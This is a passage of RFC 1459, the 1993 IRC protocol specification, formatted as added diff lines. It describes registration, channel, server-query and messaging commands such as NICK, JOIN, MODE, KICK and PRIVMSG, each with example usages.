+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+           1. Pass message
+           2. Nick message
+           3. User message
+
+4.1.1 Password message
+
+
+      Command: PASS
+   Parameters: <password>
+
+   The PASS command is used to set a 'connection password'.  The
+   password can and must be set before any attempt to register the
+   connection is made.  Currently this requires that clients send a PASS
+   command before sending the NICK/USER combination and servers *must*
+   send a PASS command before any SERVER command.  The password supplied
+   must match the one contained in the C/N lines (for servers) or I
+   lines (for clients).  It is possible to send multiple PASS commands
+   before registering but only the last one sent is used for
+   verification and it may not be changed once registered.  Numeric
+   Replies:
+
+           ERR_NEEDMOREPARAMS              ERR_ALREADYREGISTRED
+
+   Example:
+
+           PASS secretpasswordhere
+
+4.1.2 Nick message
+
+      Command: NICK
+   Parameters: <nickname> [ <hopcount> ]
+
+   NICK message is used to give user a nickname or change the previous
+   one.  The <hopcount> parameter is only used by servers to indicate
+   how far away a nick is from its home server.  A local connection has
+   a hopcount of 0.  If supplied by a client, it must be ignored.
+
+   If a NICK message arrives at a server which already knows about an
+   identical nickname for another client, a nickname collision occurs.
+   As a result of a nickname collision, all instances of the nickname
+   are removed from the server's database, and a KILL command is issued
+   to remove the nickname from all other server's database. If the NICK
+   message causing the collision was a nickname change, then the
+   original (old) nick must be removed as well.
+
+   If the server recieves an identical NICK from a client which is
+   directly connected, it may issue an ERR_NICKCOLLISION to the local
+   client, drop the NICK command, and not generate any kills.
+
+
+
+Oikarinen & Reed                                               [Page 14]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+   Numeric Replies:
+
+           ERR_NONICKNAMEGIVEN             ERR_ERRONEUSNICKNAME
+           ERR_NICKNAMEINUSE               ERR_NICKCOLLISION
+
+   Example:
+
+   NICK Wiz                        ; Introducing new nick "Wiz".
+
+   :WiZ NICK Kilroy                ; WiZ changed his nickname to Kilroy.
+
+4.1.3 User message
+
+      Command: USER
+   Parameters: <username> <hostname> <servername> <realname>
+
+   The USER message is used at the beginning of connection to specify
+   the username, hostname, servername and realname of s new user.  It is
+   also used in communication between servers to indicate new user
+   arriving on IRC, since only after both USER and NICK have been
+   received from a client does a user become registered.
+
+   Between servers USER must to be prefixed with client's NICKname.
+   Note that hostname and servername are normally ignored by the IRC
+   server when the USER command comes from a directly connected client
+   (for security reasons), but they are used in server to server
+   communication.  This means that a NICK must always be sent to a
+   remote server when a new user is being introduced to the rest of the
+   network before the accompanying USER is sent.
+
+   It must be noted that realname parameter must be the last parameter,
+   because it may contain space characters and must be prefixed with a
+   colon (':') to make sure this is recognised as such.
+
+   Since it is easy for a client to lie about its username by relying
+   solely on the USER message, the use of an "Identity Server" is
+   recommended.  If the host which a user connects from has such a
+   server enabled the username is set to that as in the reply from the
+   "Identity Server".
+
+   Numeric Replies:
+
+           ERR_NEEDMOREPARAMS              ERR_ALREADYREGISTRED
+
+   Examples:
+
+
+   USER guest tolmoon tolsun :Ronnie Reagan
+
+
+
+Oikarinen & Reed                                               [Page 15]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+                                   ; User registering themselves with a
+                                   username of "guest" and real name
+                                   "Ronnie Reagan".
+
+
+   :testnick USER guest tolmoon tolsun :Ronnie Reagan
+                                   ; message between servers with the
+                                   nickname for which the USER command
+                                   belongs to
+
+4.1.4 Server message
+
+      Command: SERVER
+   Parameters: <servername> <hopcount> <info>
+
+   The server message is used to tell a server that the other end of a
+   new connection is a server. This message is also used to pass server
+   data over whole net.  When a new server is connected to net,
+   information about it be broadcast to the whole network.  <hopcount>
+   is used to give all servers some internal information on how far away
+   all servers are.  With a full server list, it would be possible to
+   construct a map of the entire server tree, but hostmasks prevent this
+   from being done.
+
+   The SERVER message must only be accepted from either (a) a connection
+   which is yet to be registered and is attempting to register as a
+   server, or (b) an existing connection to another server, in  which
+   case the SERVER message is introducing a new server behind that
+   server.
+
+   Most errors that occur with the receipt of a SERVER command result in
+   the connection being terminated by the destination host (target
+   SERVER).  Error replies are usually sent using the "ERROR" command
+   rather than the numeric since the ERROR command has several useful
+   properties which make it useful here.
+
+   If a SERVER message is parsed and attempts to introduce a server
+   which is already known to the receiving server, the connection from
+   which that message must be closed (following the correct procedures),
+   since a duplicate route to a server has formed and the acyclic nature
+   of the IRC tree broken.
+
+   Numeric Replies:
+
+           ERR_ALREADYREGISTRED
+
+   Example:
+
+
+
+
+Oikarinen & Reed                                               [Page 16]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+SERVER test.oulu.fi 1 :[tolsun.oulu.fi] Experimental server
+                                ; New server test.oulu.fi introducing
+                                itself and attempting to register.  The
+                                name in []'s is the hostname for the
+                                host running test.oulu.fi.
+
+
+:tolsun.oulu.fi SERVER csd.bu.edu 5 :BU Central Server
+                                ; Server tolsun.oulu.fi is our uplink
+                                for csd.bu.edu which is 5 hops away.
+
+4.1.5 Oper
+
+      Command: OPER
+   Parameters: <user> <password>
+
+   OPER message is used by a normal user to obtain operator privileges.
+   The combination of <user> and <password> are required to gain
+   Operator privileges.
+
+   If the client sending the OPER command supplies the correct password
+   for the given user, the server then informs the rest of the network
+   of the new operator by issuing a "MODE +o" for the clients nickname.
+
+   The OPER message is client-server only.
+
+   Numeric Replies:
+
+           ERR_NEEDMOREPARAMS              RPL_YOUREOPER
+           ERR_NOOPERHOST                  ERR_PASSWDMISMATCH
+
+   Example:
+
+   OPER foo bar                    ; Attempt to register as an operator
+                                   using a username of "foo" and "bar" as
+                                   the password.
+
+4.1.6 Quit
+
+      Command: QUIT
+   Parameters: [<Quit message>]
+
+   A client session is ended with a quit message.  The server must close
+   the connection to a client which sends a QUIT message. If a "Quit
+   Message" is given, this will be sent instead of the default message,
+   the nickname.
+
+   When netsplits (disconnecting of two servers) occur, the quit message
+
+
+
+Oikarinen & Reed                                               [Page 17]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+   is composed of the names of two servers involved, separated by a
+   space.  The first name is that of the server which is still connected
+   and the second name is that of the server that has become
+   disconnected.
+
+   If, for some other reason, a client connection is closed without  the
+   client  issuing  a  QUIT  command  (e.g.  client  dies and EOF occurs
+   on socket), the server is required to fill in the quit  message  with
+   some sort  of  message  reflecting the nature of the event which
+   caused it to happen.
+
+   Numeric Replies:
+
+           None.
+
+   Examples:
+
+   QUIT :Gone to have lunch        ; Preferred message format.
+
+4.1.7 Server quit message
+
+      Command: SQUIT
+   Parameters: <server> <comment>
+
+   The SQUIT message is needed to tell about quitting or dead servers.
+   If a server wishes to break the connection to another server it must
+   send a SQUIT message to the other server, using the the name of the
+   other server as the server parameter, which then closes its
+   connection to the quitting server.
+
+   This command is also available operators to help keep a network of
+   IRC servers connected in an orderly fashion.  Operators may also
+   issue an SQUIT message for a remote server connection.  In this case,
+   the SQUIT must be parsed by each server inbetween the operator and
+   the remote server, updating the view of the network held by each
+   server as explained below.
+
+   The <comment> should be supplied by all operators who execute a SQUIT
+   for a remote server (that is not connected to the server they are
+   currently on) so that other operators are aware for the reason of
+   this action.  The <comment> is also filled in by servers which may
+   place an error or similar message here.
+
+   Both of the servers which are on either side of the connection being
+   closed are required to to send out a SQUIT message (to all its other
+   server connections) for all other servers which are considered to be
+   behind that link.
+
+
+
+
+Oikarinen & Reed                                               [Page 18]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+   Similarly, a QUIT message must be sent to the other connected servers
+   rest of the network on behalf of all clients behind that link.  In
+   addition to this, all channel members of a channel which lost a
+   member due to the split must be sent a QUIT message.
+
+   If a server connection is terminated prematurely (e.g. the server  on
+   the  other  end  of  the  link  died),  the  server  which  detects
+   this disconnection is required to inform the rest of  the  network
+   that  the connection  has  closed  and  fill  in  the comment field
+   with something appropriate.
+
+   Numeric replies:
+
+           ERR_NOPRIVILEGES                ERR_NOSUCHSERVER
+
+   Example:
+
+   SQUIT tolsun.oulu.fi :Bad Link ? ; the server link tolson.oulu.fi has
+                                   been terminated because of "Bad Link".
+
+   :Trillian SQUIT cm22.eng.umd.edu :Server out of control
+                                    ; message from Trillian to disconnect
+                                   "cm22.eng.umd.edu" from the net
+                                    because "Server out of control".
+
+4.2 Channel operations
+
+   This group of messages is concerned with manipulating channels, their
+   properties (channel modes), and their contents (typically clients).
+   In implementing these, a number of race conditions are inevitable
+   when clients at opposing ends of a network send commands which will
+   ultimately clash.  It is also required that servers keep a nickname
+   history to ensure that wherever a <nick> parameter is given, the
+   server check its history in case it has recently been changed.
+
+4.2.1 Join message
+
+      Command: JOIN
+   Parameters: <channel>{,<channel>} [<key>{,<key>}]
+
+   The JOIN command is used by client to start listening a specific
+   channel. Whether or not a client is allowed to join a channel is
+   checked only by the server the client is connected to; all other
+   servers automatically add the user to the channel when it is received
+   from other servers.  The conditions which affect this are as follows:
+
+           1.  the user must be invited if the channel is invite-only;
+
+
+
+
+Oikarinen & Reed                                               [Page 19]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+           2.  the user's nick/username/hostname must not match any
+               active bans;
+
+           3.  the correct key (password) must be given if it is set.
+
+   These are discussed in more detail under the MODE command (see
+   section 4.2.3 for more details).
+
+   Once a user has joined a channel, they receive notice about all
+   commands their server receives which affect the channel.  This
+   includes MODE, KICK, PART, QUIT and of course PRIVMSG/NOTICE.  The
+   JOIN command needs to be broadcast to all servers so that each server
+   knows where to find the users who are on the channel.  This allows
+   optimal delivery of PRIVMSG/NOTICE messages to the channel.
+
+   If a JOIN is successful, the user is then sent the channel's topic
+   (using RPL_TOPIC) and the list of users who are on the channel (using
+   RPL_NAMREPLY), which must include the user joining.
+
+   Numeric Replies:
+
+           ERR_NEEDMOREPARAMS              ERR_BANNEDFROMCHAN
+           ERR_INVITEONLYCHAN              ERR_BADCHANNELKEY
+           ERR_CHANNELISFULL               ERR_BADCHANMASK
+           ERR_NOSUCHCHANNEL               ERR_TOOMANYCHANNELS
+           RPL_TOPIC
+
+   Examples:
+
+   JOIN #foobar                    ; join channel #foobar.
+
+   JOIN &foo fubar                 ; join channel &foo using key "fubar".
+
+   JOIN #foo,&bar fubar            ; join channel #foo using key "fubar"
+                                   and &bar using no key.
+
+   JOIN #foo,#bar fubar,foobar     ; join channel #foo using key "fubar".
+                                   and channel #bar using key "foobar".
+
+   JOIN #foo,#bar                  ; join channels #foo and #bar.
+
+   :WiZ JOIN #Twilight_zone        ; JOIN message from WiZ
+
+4.2.2 Part message
+
+      Command: PART
+   Parameters: <channel>{,<channel>}
+
+
+
+
+Oikarinen & Reed                                               [Page 20]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+   The PART message causes the client sending the message to be removed
+   from the list of active users for all given channels listed in the
+   parameter string.
+
+   Numeric Replies:
+
+           ERR_NEEDMOREPARAMS              ERR_NOSUCHCHANNEL
+           ERR_NOTONCHANNEL
+
+   Examples:
+
+   PART #twilight_zone             ; leave channel "#twilight_zone"
+
+   PART #oz-ops,&group5            ; leave both channels "&group5" and
+                                   "#oz-ops".
+
+4.2.3 Mode message
+
+      Command: MODE
+
+   The MODE command is a dual-purpose command in IRC.  It allows both
+   usernames and channels to have their mode changed.  The rationale for
+   this choice is that one day nicknames will be obsolete and the
+   equivalent property will be the channel.
+
+   When parsing MODE messages, it is recommended that the entire message
+   be parsed first and then the changes which resulted then passed on.
+
+4.2.3.1 Channel modes
+
+   Parameters: <channel> {[+|-]|o|p|s|i|t|n|b|v} [<limit>] [<user>]
+               [<ban mask>]
+
+   The MODE command is provided so that channel operators may change the
+   characteristics of `their' channel.  It is also required that servers
+   be able to change channel modes so that channel operators may be
+   created.
+
+   The various modes available for channels are as follows:
+
+           o - give/take channel operator privileges;
+           p - private channel flag;
+           s - secret channel flag;
+           i - invite-only channel flag;
+           t - topic settable by channel operator only flag;
+           n - no messages to channel from clients on the outside;
+           m - moderated channel;
+           l - set the user limit to channel;
+
+
+
+Oikarinen & Reed                                               [Page 21]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+           b - set a ban mask to keep users out;
+           v - give/take the ability to speak on a moderated channel;
+           k - set a channel key (password).
+
+   When using the 'o' and 'b' options, a restriction on a total of three
+   per mode command has been imposed.  That is, any combination of 'o'
+   and
+
+4.2.3.2 User modes
+
+   Parameters: <nickname> {[+|-]|i|w|s|o}
+
+   The user MODEs are typically changes which affect either how the
+   client is seen by others or what 'extra' messages the client is sent.
+   A user MODE command may only be accepted if both the sender of the
+   message and the nickname given as a parameter are both the same.
+
+   The available modes are as follows:
+
+           i - marks a users as invisible;
+           s - marks a user for receipt of server notices;
+           w - user receives wallops;
+           o - operator flag.
+
+   Additional modes may be available later on.
+
+   If a user attempts to make themselves an operator using the "+o"
+   flag, the attempt should be ignored.  There is no restriction,
+   however, on anyone `deopping' themselves (using "-o").  Numeric
+   Replies:
+
+           ERR_NEEDMOREPARAMS              RPL_CHANNELMODEIS
+           ERR_CHANOPRIVSNEEDED            ERR_NOSUCHNICK
+           ERR_NOTONCHANNEL                ERR_KEYSET
+           RPL_BANLIST                     RPL_ENDOFBANLIST
+           ERR_UNKNOWNMODE                 ERR_NOSUCHCHANNEL
+
+           ERR_USERSDONTMATCH              RPL_UMODEIS
+           ERR_UMODEUNKNOWNFLAG
+
+   Examples:
+
+           Use of Channel Modes:
+
+MODE #Finnish +im               ; Makes #Finnish channel moderated and
+                                'invite-only'.
+
+MODE #Finnish +o Kilroy         ; Gives 'chanop' privileges to Kilroy on
+
+
+
+Oikarinen & Reed                                               [Page 22]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+                                channel #Finnish.
+
+MODE #Finnish +v Wiz            ; Allow WiZ to speak on #Finnish.
+
+MODE #Fins -s                   ; Removes 'secret' flag from channel
+                                #Fins.
+
+MODE #42 +k oulu                ; Set the channel key to "oulu".
+
+MODE #eu-opers +l 10            ; Set the limit for the number of users
+                                on channel to 10.
+
+MODE &oulu +b                   ; list ban masks set for channel.
+
+MODE &oulu +b *!*@*             ; prevent all users from joining.
+
+MODE &oulu +b *!*@*.edu         ; prevent any user from a hostname
+                                matching *.edu from joining.
+
+        Use of user Modes:
+
+:MODE WiZ -w                    ; turns reception of WALLOPS messages
+                                off for WiZ.
+
+:Angel MODE Angel +i            ; Message from Angel to make themselves
+                                invisible.
+
+MODE WiZ -o                     ; WiZ 'deopping' (removing operator
+                                status).  The plain reverse of this
+                                command ("MODE WiZ +o") must not be
+                                allowed from users since would bypass
+                                the OPER command.
+
+4.2.4 Topic message
+
+      Command: TOPIC
+   Parameters: <channel> [<topic>]
+
+   The TOPIC message is used to change or view the topic of a channel.
+   The topic for channel <channel> is returned if there is no <topic>
+   given.  If the <topic> parameter is present, the topic for that
+   channel will be changed, if the channel modes permit this action.
+
+   Numeric Replies:
+
+           ERR_NEEDMOREPARAMS              ERR_NOTONCHANNEL
+           RPL_NOTOPIC                     RPL_TOPIC
+           ERR_CHANOPRIVSNEEDED
+
+
+
+Oikarinen & Reed                                               [Page 23]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+   Examples:
+
+   :Wiz TOPIC #test :New topic     ;User Wiz setting the topic.
+
+   TOPIC #test :another topic      ;set the topic on #test to "another
+                                   topic".
+
+   TOPIC #test                     ; check the topic for #test.
+
+4.2.5 Names message
+
+      Command: NAMES
+   Parameters: [<channel>{,<channel>}]
+
+   By using the NAMES command, a user can list all nicknames that are
+   visible to them on any channel that they can see.  Channel names
+   which they can see are those which aren't private (+p) or secret (+s)
+   or those which they are actually on.  The <channel> parameter
+   specifies which channel(s) to return information about if valid.
+   There is no error reply for bad channel names.
+
+   If no <channel> parameter is given, a list of all channels and their
+   occupants is returned.  At the end of this list, a list of users who
+   are visible but either not on any channel or not on a visible channel
+   are listed as being on `channel' "*".
+
+   Numerics:
+
+           RPL_NAMREPLY                    RPL_ENDOFNAMES
+
+   Examples:
+
+   NAMES #twilight_zone,#42        ; list visible users on #twilight_zone
+                                   and #42 if the channels are visible to
+                                   you.
+
+   NAMES                           ; list all visible channels and users
+
+4.2.6 List message
+
+      Command: LIST
+   Parameters: [<channel>{,<channel>} [<server>]]
+
+   The list message is used to list channels and their topics.  If  the
+   <channel>  parameter  is  used,  only  the  status  of  that  channel
+   is displayed.  Private  channels  are  listed  (without  their
+   topics)  as channel "Prv" unless the client generating the query is
+   actually on that channel.  Likewise, secret channels are not listed
+
+
+
+Oikarinen & Reed                                               [Page 24]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+   at  all  unless  the client is a member of the channel in question.
+
+   Numeric Replies:
+
+           ERR_NOSUCHSERVER                RPL_LISTSTART
+           RPL_LIST                        RPL_LISTEND
+
+   Examples:
+
+   LIST                            ; List all channels.
+
+   LIST #twilight_zone,#42         ; List channels #twilight_zone and #42
+
+4.2.7 Invite message
+
+      Command: INVITE
+   Parameters: <nickname> <channel>
+
+   The INVITE message is used to invite users to a channel.  The
+   parameter <nickname> is the nickname of the person to be invited to
+   the target channel <channel>.  There is no requirement that the
+   channel the target user is being invited to must exist or be a valid
+   channel.  To invite a user to a channel which is invite only (MODE
+   +i), the client sending the invite must be recognised as being a
+   channel operator on the given channel.
+
+   Numeric Replies:
+
+           ERR_NEEDMOREPARAMS              ERR_NOSUCHNICK
+           ERR_NOTONCHANNEL                ERR_USERONCHANNEL
+           ERR_CHANOPRIVSNEEDED
+           RPL_INVITING                    RPL_AWAY
+
+   Examples:
+
+   :Angel INVITE Wiz #Dust         ; User Angel inviting WiZ to channel
+                                   #Dust
+
+   INVITE Wiz #Twilight_Zone       ; Command to invite WiZ to
+                                   #Twilight_zone
+
+4.2.8 Kick command
+
+      Command: KICK
+   Parameters: <channel> <user> [<comment>]
+
+   The KICK command can be  used  to  forcibly  remove  a  user  from  a
+   channel.   It  'kicks  them  out'  of the channel (forced PART).
+
+
+
+Oikarinen & Reed                                               [Page 25]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+   Only a channel operator may kick another user out of a  channel.
+   Each  server that  receives  a KICK message checks that it is valid
+   (ie the sender is actually a  channel  operator)  before  removing
+   the  victim  from  the channel.
+
+   Numeric Replies:
+
+           ERR_NEEDMOREPARAMS              ERR_NOSUCHCHANNEL
+           ERR_BADCHANMASK                 ERR_CHANOPRIVSNEEDED
+           ERR_NOTONCHANNEL
+
+   Examples:
+
+KICK &Melbourne Matthew         ; Kick Matthew from &Melbourne
+
+KICK #Finnish John :Speaking English
+                                ; Kick John from #Finnish using
+                                "Speaking English" as the reason
+                                (comment).
+
+:WiZ KICK #Finnish John         ; KICK message from WiZ to remove John
+                                from channel #Finnish
+
+NOTE:
+     It is possible to extend the KICK command parameters to the
+following:
+
+<channel>{,<channel>} <user>{,<user>} [<comment>]
+
+4.3 Server queries and commands
+
+   The server query group of commands has been designed to return
+   information about any server which is connected to the network.  All
+   servers connected must respond to these queries and respond
+   correctly.  Any invalid response (or lack thereof) must be considered
+   a sign of a broken server and it must be disconnected/disabled as
+   soon as possible until the situation is remedied.
+
+   In these queries, where a parameter appears as "<server>", it will
+   usually mean it can be a nickname or a server or a wildcard name of
+   some sort.  For each parameter, however, only one query and set of
+   replies is to be generated.
+
+4.3.1 Version message
+
+      Command: VERSION
+   Parameters: [<server>]
+
+
+
+
+Oikarinen & Reed                                               [Page 26]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+   The VERSION message is used  to  query  the  version  of  the  server
+   program.  An optional parameter <server> is used to query the version
+   of the server program which a client is not directly connected to.
+
+   Numeric Replies:
+
+           ERR_NOSUCHSERVER                RPL_VERSION
+
+   Examples:
+
+   :Wiz VERSION *.se               ; message from Wiz to check the version
+                                   of a server matching "*.se"
+
+   VERSION tolsun.oulu.fi          ; check the version of server
+                                   "tolsun.oulu.fi".
+
+4.3.2 Stats message
+
+      Command: STATS
+   Parameters: [<query> [<server>]]
+
+   The stats message is used to query statistics of certain server.  If
+   <server> parameter is omitted, only the end of stats reply is sent
+   back.  The implementation of this command is highly dependent on the
+   server which replies, although the server must be able to supply
+   information as described by the queries below (or similar).
+
+   A query may be given by any single letter which is only checked by
+   the destination server (if given as the <server> parameter) and is
+   otherwise passed on by intermediate servers, ignored and unaltered.
+   The following queries are those found in the current IRC
+   implementation and provide a large portion of the setup information
+   for that server.  Although these may not be supported in the same way
+   by other versions, all servers should be able to supply a valid reply
+   to a STATS query which is consistent with the reply formats currently
+   used and the purpose of the query.
+
+   The currently supported queries are:
+
+           c - returns a list of servers which the server may connect
+               to or allow connections from;
+           h - returns a list of servers which are either forced to be
+               treated as leaves or allowed to act as hubs;
+           i - returns a list of hosts which the server allows a client
+               to connect from;
+           k - returns a list of banned username/hostname combinations
+               for that server;
+           l - returns a list of the server's connections, showing how
+
+
+
+Oikarinen & Reed                                               [Page 27]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+               long each connection has been established and the traffic
+               over that connection in bytes and messages for each
+               direction;
+           m - returns a list of commands supported by the server and
+               the usage count for each if the usage count is non zero;
+           o - returns a list of hosts from which normal clients may
+               become operators;
+           y - show Y (Class) lines from server's configuration file;
+           u - returns a string showing how long the server has been up.
+
+   Numeric Replies:
+
+           ERR_NOSUCHSERVER
+           RPL_STATSCLINE                  RPL_STATSNLINE
+           RPL_STATSILINE                  RPL_STATSKLINE
+           RPL_STATSQLINE                  RPL_STATSLLINE
+           RPL_STATSLINKINFO               RPL_STATSUPTIME
+           RPL_STATSCOMMANDS               RPL_STATSOLINE
+           RPL_STATSHLINE                  RPL_ENDOFSTATS
+
+   Examples:
+
+STATS m                         ; check the command usage for the server
+                                you are connected to
+
+:Wiz STATS c eff.org            ; request by WiZ for C/N line
+                                information from server eff.org
+
+4.3.3 Links message
+
+      Command: LINKS
+   Parameters: [[<remote server>] <server mask>]
+
+   With LINKS, a user can list all servers which are known by the server
+   answering the query.  The returned list of servers must match the
+   mask, or if no mask is given, the full list is returned.
+
+   If <remote server> is given in addition to <server mask>, the LINKS
+   command is forwarded to the first server found that matches that name
+   (if any), and that server is then required to answer the query.
+
+   Numeric Replies:
+
+           ERR_NOSUCHSERVER
+           RPL_LINKS                       RPL_ENDOFLINKS
+
+   Examples:
+
+
+
+
+Oikarinen & Reed                                               [Page 28]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+LINKS *.au                      ; list all servers which have a name
+                                that matches *.au;
+
+:WiZ LINKS *.bu.edu *.edu       ; LINKS message from WiZ to the first
+                                server matching *.edu for a list of
+                                servers matching *.bu.edu.
+
+4.3.4 Time message
+
+      Command: TIME
+   Parameters: [<server>]
+
+   The time message is used to query local time from the specified
+   server. If the server parameter is not given, the server handling the
+   command must reply to the query.
+
+   Numeric Replies:
+
+           ERR_NOSUCHSERVER                RPL_TIME
+
+   Examples:
+
+   TIME tolsun.oulu.fi             ; check the time on the server
+                                   "tolson.oulu.fi"
+
+   Angel TIME *.au                 ; user angel checking the time on a
+                                   server matching "*.au"
+
+4.3.5 Connect message
+
+      Command: CONNECT
+   Parameters: <target server> [<port> [<remote server>]]
+
+   The CONNECT command can be used to force a server to try to establish
+   a new connection to another server immediately.  CONNECT is a
+   privileged command and is to be available only to IRC Operators.  If
+   a remote server is given then the CONNECT attempt is made by that
+   server to <target server> and <port>.
+
+   Numeric Replies:
+
+           ERR_NOSUCHSERVER                ERR_NOPRIVILEGES
+           ERR_NEEDMOREPARAMS
+
+   Examples:
+
+CONNECT tolsun.oulu.fi          ; Attempt to connect a server to
+                                tolsun.oulu.fi
+
+
+
+Oikarinen & Reed                                               [Page 29]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+:WiZ CONNECT eff.org 6667 csd.bu.edu
+                                ; CONNECT attempt by WiZ to get servers
+                                eff.org and csd.bu.edu connected on port
+                                6667.
+
+4.3.6 Trace message
+
+      Command: TRACE
+   Parameters: [<server>]
+
+   TRACE command is used to find the route to specific server.  Each
+   server that processes this message must tell the sender about it by
+   sending a reply indicating it is a pass-through link, forming a chain
+   of replies similar to that gained from using "traceroute".  After
+   sending this reply back, it must then send the TRACE message to the
+   next server until given server is reached.  If the <server> parameter
+   is omitted, it is recommended that TRACE command send a message to
+   the sender telling which servers the current server has direct
+   connection to.
+
+   If the destination given by "<server>" is an actual server, then the
+   destination server is required to report all servers and users which
+   are connected to it, although only operators are permitted to see
+   users present.  If the destination given by <server> is a nickname,
+   they only a reply for that nickname is given.
+
+   Numeric Replies:
+
+           ERR_NOSUCHSERVER
+
+   If the TRACE message is destined for another server, all intermediate
+   servers must return a RPL_TRACELINK reply to indicate that the TRACE
+   passed through it and where its going next.
+
+           RPL_TRACELINK
+   A TRACE reply may be composed of any number of the following numeric
+   replies.
+
+           RPL_TRACECONNECTING             RPL_TRACEHANDSHAKE
+           RPL_TRACEUNKNOWN                RPL_TRACEOPERATOR
+           RPL_TRACEUSER                   RPL_TRACESERVER
+           RPL_TRACESERVICE                RPL_TRACENEWTYPE
+           RPL_TRACECLASS
+
+   Examples:
+
+TRACE *.oulu.fi                 ; TRACE to a server matching *.oulu.fi
+
+
+
+
+Oikarinen & Reed                                               [Page 30]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+:WiZ TRACE AngelDust            ; TRACE issued by WiZ to nick AngelDust
+
+4.3.7 Admin command
+
+      Command: ADMIN
+   Parameters: [<server>]
+
+   The admin message is used to find the name of the administrator of
+   the given server, or current server if <server> parameter is omitted.
+   Each server must have the ability to forward ADMIN messages to other
+   servers.
+
+   Numeric Replies:
+
+           ERR_NOSUCHSERVER
+           RPL_ADMINME                     RPL_ADMINLOC1
+           RPL_ADMINLOC2                   RPL_ADMINEMAIL
+
+   Examples:
+
+   ADMIN tolsun.oulu.fi            ; request an ADMIN reply from
+                                   tolsun.oulu.fi
+
+   :WiZ ADMIN *.edu                ; ADMIN request from WiZ for first
+                                   server found to match *.edu.
+
+4.3.8 Info command
+
+      Command: INFO
+   Parameters: [<server>]
+
+   The INFO command is required to return information which describes
+   the server: its version, when it was compiled, the patchlevel, when
+   it was started, and any other miscellaneous information which may be
+   considered to be relevant.
+
+   Numeric Replies:
+
+           ERR_NOSUCHSERVER
+           RPL_INFO                        RPL_ENDOFINFO
+
+   Examples:
+
+   INFO csd.bu.edu                 ; request an INFO reply from
+   csd.bu.edu
+
+   :Avalon INFO *.fi               ; INFO request from Avalon for first
+                                   server found to match *.fi.
+
+
+
+Oikarinen & Reed                                               [Page 31]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+   INFO Angel                      ; request info from the server that
+                                   Angel is connected to.
+
+4.4 Sending messages
+
+   The main purpose of the IRC protocol is to provide a base for clients
+   to communicate with each other.  PRIVMSG and NOTICE are the only
+   messages available which actually perform delivery of a text message
+   from one client to another - the rest just make it possible and try
+   to ensure it happens in a reliable and structured manner.
+
+4.4.1 Private messages
+
+      Command: PRIVMSG
+   Parameters: <receiver>{,<receiver>} <text to be sent>
+
+   PRIVMSG is used to send private messages between users.  <receiver>
+   is the nickname of the receiver of the message.  <receiver> can also
+   be a list of names or channels separated with commas.
+
+   The <receiver> parameter may also me a host mask  (#mask)  or  server
+   mask  ($mask).   In  both cases the server will only send the PRIVMSG
+   to those who have a server or host matching the mask.  The mask  must
+   have at  least  1  (one)  "."  in it and no wildcards following the
+   last ".".  This requirement exists to prevent people sending messages
+   to  "#*"  or "$*",  which  would  broadcast  to  all  users; from
+   experience, this is abused more than used responsibly and properly.
+   Wildcards are  the  '*' and  '?'   characters.   This  extension  to
+   the PRIVMSG command is only available to Operators.
+
+   Numeric Replies:
+
+           ERR_NORECIPIENT                 ERR_NOTEXTTOSEND
+           ERR_CANNOTSENDTOCHAN            ERR_NOTOPLEVEL
+           ERR_WILDTOPLEVEL                ERR_TOOMANYTARGETS
+           ERR_NOSUCHNICK
+           RPL_AWAY
+
+   Examples:
+
+:Angel PRIVMSG Wiz :Hello are you receiving this message ?
+                                ; Message from Angel to Wiz.
+
+PRIVMSG Angel :yes I'm receiving it !receiving it !'u>(768u+1n) .br ;
+                                Message to Angel.
+
+PRIVMSG jto@tolsun.oulu.fi :Hello !
+                                ; Message to a client on server
+
+
+
+Oikarinen & Reed                                               [Page 32]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+                                tolsun.oulu.fi with username of "jto".
+
+PRIVMSG $*.fi :Server tolsun.oulu.fi rebooting.
+                                ; Message to everyone on a server which
+                                has a name matching *.fi.
+
+PRIVMSG #*.edu :NSFNet is undergoing work, expect interruptions
+                                ; Message to all users who come from a
+                                host which has a name matching *.edu.
+
+4.4.2 Notice
+
+      Command: NOTICE
+   Parameters: <nickname> <text>
+
+   The NOTICE message is used similarly to PRIVMSG.  The difference
+   between NOTICE and PRIVMSG is that automatic replies must never be
+   sent in response to a NOTICE message.  This rule applies to servers
+   too - they must not send any error reply back to the client on
+   receipt of a notice.  The object of this rule is to avoid loops
+   between a client automatically sending something in response to
+   something it received.  This is typically used by automatons (clients
+   with either an AI or other interactive program controlling their
+   actions) which are always seen to be replying lest they end up in a
+   loop with another automaton.
+
+   See PRIVMSG for more details on replies and examples.
+
+4.5 User based queries
+
+   User queries are a group of commands which are primarily concerned
+   with finding details on a particular user or group users.  When using
+   wildcards with any of these commands, if they match, they will only
+   return information on users who are 'visible' to you.  The visibility
+   of a user is determined as a combination of the user's mode and the
+   common set of channels you are both on.
+
+4.5.1 Who query
+
+      Command: WHO
+   Parameters: [<name> [<o>]]
+
+   The WHO message is used by a client to generate a query which returns
+   a list of information which 'matches' the <name> parameter given by
+   the client.  In the absence of the <name> parameter, all visible
+   (users who aren't invisible (user mode +i) and who don't have a
+   common channel with the requesting client) are listed.  The same
+   result can be achieved by using a <name> of "0" or any wildcard which
+
+
+
+Oikarinen & Reed                                               [Page 33]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+   will end up matching every entry possible.
+
